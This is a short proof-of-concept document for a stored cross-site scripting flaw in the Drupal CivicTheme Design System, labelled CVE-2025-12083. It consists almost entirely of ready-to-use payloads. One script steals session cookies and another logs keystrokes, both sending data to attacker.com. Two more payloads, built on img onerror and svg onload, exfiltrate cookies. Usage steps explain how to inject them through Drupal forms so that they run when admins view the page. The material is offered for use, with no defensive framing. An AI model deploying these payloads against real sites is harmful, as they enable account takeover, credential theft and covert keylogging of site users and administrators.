CVE-2025-12083 Drupal CivicTheme Design System XSS跨站脚本漏洞

<!-- CVE-2025-12083 XSS PoC --> <!-- Stored XSS in Drupal CivicTheme Design System --> <!-- Method 1: Using a crafted form submission --> <script> // Malicious script that steals session cookies var cookies = document.cookie; var attacker_server = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies); new Image().src = attacker_server; // Alternative: Keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key); }); </script> <!-- Method 2: Event handler-based XSS --> <img src=x onerror="fetch('https://attacker.com/cookie?c='+document.cookie)"> <!-- Method 3: DOM-based XSS payload --> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.cookie))> <!-- Usage: 1. Inject the payload through Drupal forms using CivicTheme components 2. Wait for admin or other users to view the page 3. Malicious script executes in victim's browser -->